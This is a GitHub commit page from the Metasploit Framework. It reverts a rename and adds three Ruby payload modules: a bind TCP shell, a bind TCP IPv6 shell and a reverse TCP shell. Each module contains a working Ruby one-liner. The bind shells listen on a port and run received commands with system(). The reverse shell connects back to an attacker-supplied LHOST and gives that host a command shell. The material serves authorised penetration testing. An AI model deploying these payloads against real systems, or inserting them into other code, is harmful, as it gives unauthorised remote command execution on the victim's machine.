Skip to content

Commit 4fcb8b6

Browse files
committed
Revert "Rename again to be consistent with payload naming"
This reverts commit 0fa2fcd.
1 parent 0fa2fcd commit 4fcb8b6

File tree

4 files changed

+123
-1
lines changed

4 files changed

+123
-1
lines changed

lib/msf/ui/console/command_dispatcher/exploit.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -249,7 +249,7 @@ def self.choose_payload(mod, target)
249249
'java/meterpreter/reverse_tcp',
250250
'php/meterpreter/reverse_tcp',
251251
'php/meterpreter_reverse_tcp',
252-
'ruby/shell_reverse_tcp',
252+
'ruby/shell/reverse_tcp',
253253
'cmd/unix/interact',
254254
'cmd/unix/reverse',
255255
'cmd/unix/reverse_perl',
Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
require 'msf/core/handler/bind_tcp'
10+
require 'msf/base/sessions/command_shell'
11+
require 'msf/base/sessions/command_shell_options'
12+
13+
module Metasploit3
14+
15+
include Msf::Payload::Single
16+
include Msf::Sessions::CommandShellOptions
17+
18+
def initialize(info = {})
19+
super(merge_info(info,
20+
'Name' => 'Ruby Command Shell, Bind TCP',
21+
'Description' => 'Continually listen for a connection and spawn a command shell via Ruby',
22+
'Author' => [ 'kris katterjohn', 'hdm' ],
23+
'License' => MSF_LICENSE,
24+
'Platform' => 'ruby',
25+
'Arch' => ARCH_RUBY,
26+
'Handler' => Msf::Handler::BindTcp,
27+
'Session' => Msf::Sessions::CommandShell,
28+
'PayloadType' => 'ruby',
29+
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
30+
))
31+
end
32+
33+
def generate
34+
return super + ruby_string
35+
end
36+
37+
def ruby_string
38+
"require 'socket';s=TCPServer.new(\"#{datastore['LPORT']}\");c=s.accept;s.close;$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdin.each_line{|l|l=l.strip;next if l.length==0;system(l)}"
39+
end
40+
end
Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
require 'msf/core/handler/bind_tcp'
10+
require 'msf/base/sessions/command_shell'
11+
require 'msf/base/sessions/command_shell_options'
12+
13+
module Metasploit3
14+
15+
include Msf::Payload::Single
16+
include Msf::Sessions::CommandShellOptions
17+
18+
def initialize(info = {})
19+
super(merge_info(info,
20+
'Name' => 'Ruby Command Shell, Bind TCP IPv6',
21+
'Description' => 'Continually listen for a connection and spawn a command shell via Ruby',
22+
'Author' => [ 'kris katterjohn', 'hdm' ],
23+
'License' => MSF_LICENSE,
24+
'Platform' => 'ruby',
25+
'Arch' => ARCH_RUBY,
26+
'Handler' => Msf::Handler::BindTcp,
27+
'Session' => Msf::Sessions::CommandShell,
28+
'PayloadType' => 'ruby',
29+
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
30+
))
31+
end
32+
33+
def generate
34+
return super + ruby_string
35+
end
36+
37+
def ruby_string
38+
"require 'socket';s=TCPServer.new(\"::\",\"#{datastore['LPORT']}\");c=s.accept;s.close;$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdin.each_line{|l|l=l.strip;next if l.length==0;system(l)}"
39+
end
40+
end
Lines changed: 42 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,42 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
require 'msf/core/handler/reverse_tcp'
10+
require 'msf/base/sessions/command_shell'
11+
require 'msf/base/sessions/command_shell_options'
12+
13+
module Metasploit3
14+
15+
include Msf::Payload::Single
16+
include Msf::Sessions::CommandShellOptions
17+
18+
def initialize(info = {})
19+
super(merge_info(info,
20+
'Name' => 'Ruby Command Shell, Reverse TCP',
21+
'Description' => 'Connect back and create a command shell via Ruby',
22+
'Author' => [ 'kris katterjohn', 'hdm' ],
23+
'License' => MSF_LICENSE,
24+
'Platform' => 'ruby',
25+
'Arch' => ARCH_RUBY,
26+
'Handler' => Msf::Handler::ReverseTcp,
27+
'Session' => Msf::Sessions::CommandShell,
28+
'PayloadType' => 'ruby',
29+
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
30+
))
31+
end
32+
33+
def generate
34+
return super + ruby_string
35+
end
36+
37+
def ruby_string
38+
lhost = datastore['LHOST']
39+
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
40+
"require 'socket';c=TCPSocket.new(\"#{lhost}\",\"#{datastore['LPORT']}\");$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdin.each_line{|l|l=l.strip;next if l.length==0;system(l)}"
41+
end
42+
end

0 commit comments

Comments
 (0)